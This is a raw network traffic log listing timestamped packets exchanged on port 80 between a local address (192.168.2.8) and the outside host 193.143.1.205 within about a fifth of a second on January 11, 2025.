Jan 11, 2025 05:12:24.144228935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144231081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.144231081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.144258022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.144871950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144898891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144922972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144944906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.144958973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144969940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144990921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144994020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.145008087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.145075083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.145086050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.145104885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.145122051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.145133018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.145153999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.145153999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.145153999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.145154953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.145169020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.145977974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.145994902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.146017075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.146027088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.146039963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.146059990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.146059990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.146059990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.146071911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.146114111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.146114111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.149971008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.152565002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.152596951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.152607918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.152622938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.152643919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.152653933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.152750015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.169439077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.178492069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.185784101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.185801983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.185827971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.185884953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.185884953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.216043949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.216063023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.216094971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.216097116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.216108084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.216125965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.216144085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.216165066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.216166019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.216181040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.216198921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.216219902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.216219902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.216316938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.216330051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.216350079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.216386080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.216386080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.228985071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.229010105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.229029894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.229042053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.229079962 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.229130983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.246331930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.246427059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.246438980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.246459961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.246469975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.246489048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.246499062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.246507883 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.246517897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.246562958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.246562958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.246563911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.246598959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.246611118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.246630907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.246648073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.258586884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.258604050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.258634090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.258646011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.258665085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.258666992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.258666992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.258725882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.258729935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.258743048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.258760929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.258773088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.258795023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.258795023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.258853912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.258867979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.258879900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.258899927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.258920908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.258932114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.258934021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.258934021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.259001970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259005070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.259087086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259099960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259119034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259125948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.259130955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259162903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.259203911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259216070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259232044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259258986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259268045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.259326935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259335041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.259339094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259360075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259371042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259423018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.259423018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.259557962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259596109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259608984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.259639978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259685993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259696960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259727001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259737968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259747982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.259747982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.259773016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.259939909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259952068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259968996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.259999037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.260010004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.260025024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.260035038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.260086060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.260086060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.260114908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.260126114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.260144949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.260220051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.260220051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.260231018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.260250092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.260263920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.260308027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.260308027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.260308027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.260319948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.260335922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.260354042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.260355949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.260373116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.260410070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.260410070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.263555050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.263586998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.263601065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.263619900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.263628960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.263631105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.263659954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.263674021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.263695002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.263700008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.263700008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.263710022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.263727903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.263734102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.263744116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.263791084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.263802052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.263820887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.263827085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.263827085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.263885975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.264167070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264194965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264208078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264226913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264239073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264255047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264260054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.264260054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.264276028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264286041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264307976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264318943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264327049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.264327049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.264343977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264354944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.264579058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264590979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264600992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264605999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264611959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264616966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264667034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264678955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264684916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.264703035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264738083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.264777899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264790058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264810085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.264849901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.264849901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.266288042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.266694069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.302944899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.302990913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.303014994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.303025961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.303026915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.303047895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.303052902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.303065062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.303083897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.303097963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.303123951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.303126097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.303136110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.303155899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.303158045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.303158045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.303170919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.303193092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.303210020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.303211927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.303271055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.315238953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.315275908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.315288067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.315310001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.315325022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.315325975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.315345049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.315356016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.315362930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.315385103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.315411091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.315411091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.333350897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.333391905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.333415985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.333426952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.333427906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.333446980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.333458900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.333461046 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.333483934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.333517075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.333599091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.333919048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.345490932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345508099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345540047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345556021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345560074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.345577002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345592022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345607996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345616102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.345633984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345644951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345659971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345666885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345671892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.345671892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.345679998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345706940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345714092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.345714092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.345722914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345747948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345762968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345783949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345793962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345813036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345823050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.345823050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.345846891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.345854998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345880985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345892906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345907927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345918894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.345927000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345949888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345973015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345983028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.345985889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346008062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346046925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346046925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346046925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346060038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346081018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346102953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346115112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346117020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346142054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346154928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346172094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346174002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346195936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346210003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346216917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346216917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346242905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346251965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346267939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346278906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346304893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346317053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346328020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346349001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346376896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346405029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346405029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.346448898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346461058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346491098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346503019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.346529961 CET	80	49705	193.143.1.205	192.168.2.8
